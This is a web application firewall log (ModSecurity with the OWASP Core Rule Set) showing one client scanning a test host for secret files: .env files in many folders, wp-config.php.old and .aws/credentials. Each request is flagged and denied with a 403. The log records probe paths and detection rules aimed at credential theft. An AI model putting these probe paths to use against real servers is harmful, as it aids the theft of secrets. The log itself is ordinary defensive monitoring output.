[Sun Nov 30 15:25:36.772304 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.save&quot;] [unique_id &quot;aSxT4H-YzzK-2pqhifF4BgAAAEU&quot;]
[Sun Nov 30 15:25:37.445879 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aSxT4X-YzzK-2pqhifF4CQAAAEU&quot;]
[Sun Nov 30 15:25:37.446040 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aSxT4X-YzzK-2pqhifF4CQAAAEU&quot;]
[Sun Nov 30 15:25:37.446259 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aSxT4X-YzzK-2pqhifF4CQAAAEU&quot;]
[Sun Nov 30 15:25:37.446482 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aSxT4X-YzzK-2pqhifF4CQAAAEU&quot;]
[Sun Nov 30 15:25:38.348869 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aSxT4n-YzzK-2pqhifF4DQAAAEU&quot;]
[Sun Nov 30 15:25:38.349100 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aSxT4n-YzzK-2pqhifF4DQAAAEU&quot;]
[Sun Nov 30 15:25:38.349319 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aSxT4n-YzzK-2pqhifF4DQAAAEU&quot;]
[Sun Nov 30 15:25:38.797897 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /uploads/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uploads/.env&quot;] [unique_id &quot;aSxT4n-YzzK-2pqhifF4DwAAAEU&quot;]
[Sun Nov 30 15:25:38.798129 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uploads/.env&quot;] [unique_id &quot;aSxT4n-YzzK-2pqhifF4DwAAAEU&quot;]
[Sun Nov 30 15:25:38.798333 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uploads/.env&quot;] [unique_id &quot;aSxT4n-YzzK-2pqhifF4DwAAAEU&quot;]
[Sun Nov 30 15:25:39.022545 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aSxT43-YzzK-2pqhifF4EAAAAEU&quot;]
[Sun Nov 30 15:25:39.022822 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aSxT43-YzzK-2pqhifF4EAAAAEU&quot;]
[Sun Nov 30 15:25:39.023044 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aSxT43-YzzK-2pqhifF4EAAAAEU&quot;]
[Sun Nov 30 15:25:39.246898 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.save&quot;] [unique_id &quot;aSxT43-YzzK-2pqhifF4EQAAAEU&quot;]
[Sun Nov 30 15:25:39.247137 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.save&quot;] [unique_id &quot;aSxT43-YzzK-2pqhifF4EQAAAEU&quot;]
[Sun Nov 30 15:25:39.247340 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.save&quot;] [unique_id &quot;aSxT43-YzzK-2pqhifF4EQAAAEU&quot;]
[Sun Nov 30 15:25:39.471597 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/.env&quot;] [unique_id &quot;aSxT43-YzzK-2pqhifF4EgAAAEU&quot;]
[Sun Nov 30 15:25:39.471858 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/.env&quot;] [unique_id &quot;aSxT43-YzzK-2pqhifF4EgAAAEU&quot;]
[Sun Nov 30 15:25:39.472074 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/.env&quot;] [unique_id &quot;aSxT43-YzzK-2pqhifF4EgAAAEU&quot;]
[Sun Nov 30 15:25:40.144854 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.old&quot;] [unique_id &quot;aSxT5H-YzzK-2pqhifF4FQAAAEU&quot;]
[Sun Nov 30 15:25:40.145023 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lib/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.old&quot;] [unique_id &quot;aSxT5H-YzzK-2pqhifF4FQAAAEU&quot;]
[Sun Nov 30 15:25:40.145248 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.old&quot;] [unique_id &quot;aSxT5H-YzzK-2pqhifF4FQAAAEU&quot;]
[Sun Nov 30 15:25:40.145457 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.old&quot;] [unique_id &quot;aSxT5H-YzzK-2pqhifF4FQAAAEU&quot;]
[Sun Nov 30 15:25:40.596062 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/.env&quot;] [unique_id &quot;aSxT5H-YzzK-2pqhifF4FwAAAEU&quot;]
[Sun Nov 30 15:25:40.596293 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/.env&quot;] [unique_id &quot;aSxT5H-YzzK-2pqhifF4FwAAAEU&quot;]
[Sun Nov 30 15:25:40.596489 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/.env&quot;] [unique_id &quot;aSxT5H-YzzK-2pqhifF4FwAAAEU&quot;]
[Sun Nov 30 15:25:41.500937 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aSxT5X-YzzK-2pqhifF4GwAAAEU&quot;]
[Sun Nov 30 15:25:41.501167 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aSxT5X-YzzK-2pqhifF4GwAAAEU&quot;]
[Sun Nov 30 15:25:41.501374 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aSxT5X-YzzK-2pqhifF4GwAAAEU&quot;]
[Sun Nov 30 15:25:41.731451 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;aSxT5X-YzzK-2pqhifF4HAAAAEU&quot;]
